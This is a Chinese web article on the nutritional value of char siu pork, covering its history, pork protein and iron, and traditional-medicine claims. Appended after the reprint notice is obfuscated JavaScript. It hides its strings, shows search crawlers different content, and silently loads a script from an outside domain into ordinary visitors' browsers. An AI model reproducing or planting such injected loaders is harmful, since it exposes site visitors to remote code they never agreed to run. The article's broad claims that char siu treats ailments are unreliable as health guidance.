当前位置:首页 > 饮食 > 食物营养 > 正文

叉烧肉的营养价值

2017-07-06 22:12:34  来源:360常识网   热度:
导语:叉烧肉一般来说以广东和香港地区比较常见的,现在因为物质文化的交流,以及美食的传递,所以全国现在很多地方都是可以吃到叉绕肉的,而且有

叉烧肉一般来说以广东和香港地区比较常见的,现在因为物质文化的交流,以及美食的传递,所以全国现在很多地方都是可以吃到叉绕肉的,而且有很多人现在都会自己做了。叉绕肉主要成分就是猪肉,所以有的人往往会担心脂肪的含量。事实也是这样的,所以一般的人还是尽量少吃的好。

但是叉烧肉除了脂肪含量有时候可能偏高之外,孩子啊某方面对于人体是有一定的好处的。原因就在于叉烧肉的营养价值还是比较高的。那么叉烧肉究竟有哪些营养价值呢?下面就来详细的说说,。

叉烧肉在以前是插烧,叉是象形字,烧是象声词,久而久之,成为了一道菜名——叉烧。“叉烧”是从“插烧”发展而来的。插烧是将猪的里脊肉加插在烤全猪腹内,经烧烤而成。因为,一只烤全猪最鲜美处是里脊肉。但一只猪,只有两块里脊,难于满足食家需要。于是人们便想出插烧之法。但这也只能插几条,更多一点就烧不成了。后来,又改为将数条里脊肉串起来叉着来烧,久而久之插烧之名便被叉烧所替代。

说到叉烧肉的营养价值,不得不说猪肉了。因为叉烧肉的主要成分是猪肉,猪肉是目前人们餐桌上重要的动物性食品之一,猪脊肉含有人体生长的发育所需的丰富的优质蛋白、脂肪、维生素等,而且肉质较嫩,易消化。 猪肉为人类提供优质蛋白质和必需的脂肪酸。猪肉可提供血红素(有机铁)和促进铁吸收的半胱氨酸,能改善缺铁性贫血。

叉烧肉味甘咸、性平,入脾、胃、肾经;补肾养血,滋阴润燥;主治热病伤津、消渴羸瘦、肾虚体弱、产后血虚、燥咳、便秘、补虚、滋阴、润燥、滋肝阴,润肌肤,利二便和止消渴。

通过上面的介绍,大家应该都了解到叉烧肉的营养价值了。其实叉烧肉除了脂肪含量高点之外,其他的营养价值还是很全面的,所以适当的食用,对我们的身体是有一定好处的。但是需要强调的就是,对于身体肥胖的人来说,最好是不要吃叉烧肉的为好。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}